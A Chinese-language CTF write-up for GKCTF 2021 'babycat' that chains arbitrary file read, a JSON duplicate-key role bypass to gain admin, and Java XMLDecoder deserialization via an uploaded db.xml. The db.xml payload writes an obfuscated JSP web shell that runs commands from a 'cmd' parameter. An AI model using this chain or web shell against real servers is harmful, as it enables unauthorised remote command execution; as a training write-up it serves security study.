[GKCTF 2021]babycat-revenge & babycat

[GKCTF 2021]babycat-revenge & babycat

知识点

【实战】Weblogic xmldecoder反序列化Getshell

解题步骤

在/register,可以f12看源码。发现可以post json数据来注册。
先随便注册一个:data={"username":"asd","password":"asd"}
然后直接登录。
看到下载,十有八九可以任意文件读取。
读取到/proc/self/environ,可以知道是java后台,得知网页根目录。


然后读取web.xml。把里面的class文件读一遍,放到idea可以直接看代码

在register.class里面

protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.setCharacterEncoding("UTF-8");
        Integer res = 0;
        String role = "";
        Gson gson = new Gson();
        new Person();
        Connection connection = null;
        String var = req.getParameter("data").replaceAll(" ", "").replace("'", "\"");
        Pattern pattern = Pattern.compile("\"role\":\"(.*?)\"");

        for(Matcher matcher = pattern.matcher(var); matcher.find(); role = matcher.group()) {
        }

        Person person;
        if (!StringUtils.isNullOrEmpty(role)) {
            var = var.replace(role, "\"role\":\"guest\"");
            person = (Person)gson.fromJson(var, Person.class);
        } else {
            person = (Person)gson.fromJson(var, Person.class);
            person.setRole("guest");
        }

        System.out.println(person);
        if (person.getUsername() == null || person.getPassword() == null) {
            resp.sendError(500, "用户名或密码不能为空!");
        }

        person.setPic("/static/cat.gif");

        try {
            connection = baseDao.getConnection();
        } catch (Exception var17) {
            var17.printStackTrace();
        }

        if (connection != null) {
            String sql_query = "select * from ctf where username=?";
            Object[] params1 = new Object[]{person.getUsername()};

            try {
                ResultSet rs = baseDao.execute(connection, sql_query, params1);
                if (rs.next()) {
                    System.out.println(rs.next());
                    resp.sendError(500, "user already exists!");
                } else {
                    String sql = "insert into ctf (username,password,role,pic) values (?,?,?,?)";
                    Object[] params2 = new Object[]{person.getUsername(), person.getPassword(), person.getRole(), person.getPic()};
                    res = baseDao.Update(connection, sql, params2);
                }
            } catch (SQLException var16) {
                var16.printStackTrace();
            }

            baseDao.closeResource(connection, (ResultSet)null, (PreparedStatement)null);
        }

        if (res == 1) {
            resp.getWriter().write("register success!");
        }

    }

匹配到"role":"(.*?)"就把""内替换为Guest。那么这里就要利用json的特性。{"a":"1","a":"2"}。后面的值会覆盖前面的值。并且支持/*/注释。所以这里第一个role让他匹配到。进入替换逻辑。然后第二个role用//不让匹配到。
回到注册位置,重新注册

data={"username":"123","password":"123","role":"guest","role":/**/"admin"}
然后登录123即为admin。
打开upload。
在register.class源码还可以知道com.web.dao.baseDao的类文件。
按照之前的方法读取源码。

public static void getConfig() throws FileNotFoundException {
        Object obj = (new XMLDecoder(new FileInputStream(System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/db/db.xml"))).readObject();
        if (obj instanceof HashMap) {
            HashMap map = (HashMap)obj;
            if (map != null && map.get("url") != null) {
                driver = (String)map.get("driver");
                url = (String)map.get("url");
                username = (String)map.get("username");
                password = (String)map.get("password");
            }
        }

    }

看到xmldecoder,而且在register和login里面,都有connection = baseDao.getConnection();
然后在baseDao.class里面,有getConfig();调用,所以可以用上面文章的方法进行rce。
在/proc/self/environ里面得知网页目录
上传一个db.xml覆盖baseDao里面调用的,作为木马(来自https://www.crisprx.top/archives/412#GKCTF2021_babtcat-revenge)

<java version="1.8.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>/usr/local/tomcat/webapps/ROOT/static/asd.jsp</string><void method="println"><string><![CDATA[`<%
    if(request.getParameter("cmd")!=null){
        Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));
        Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null), request.getParameter("cmd") );
        java.io.InputStream in = e.getInputStream();
        int a = -1;byte[] b = new byte[2048];out.print("<pre>");
        while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("</pre>");
    }
%>`]]></string></void><void method="close"/></object></java>

需要将木马写在/static文件夹下,这里可读并可解析jsp。
然后重新登录触发db.xml
进入/static/asd.jsp进行rce

http://fc4f9266-cf10-4933-bc5e-69b22ae5eb58.node4.buuoj.cn:81/static/asd.jsp?cmd=/readflag
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇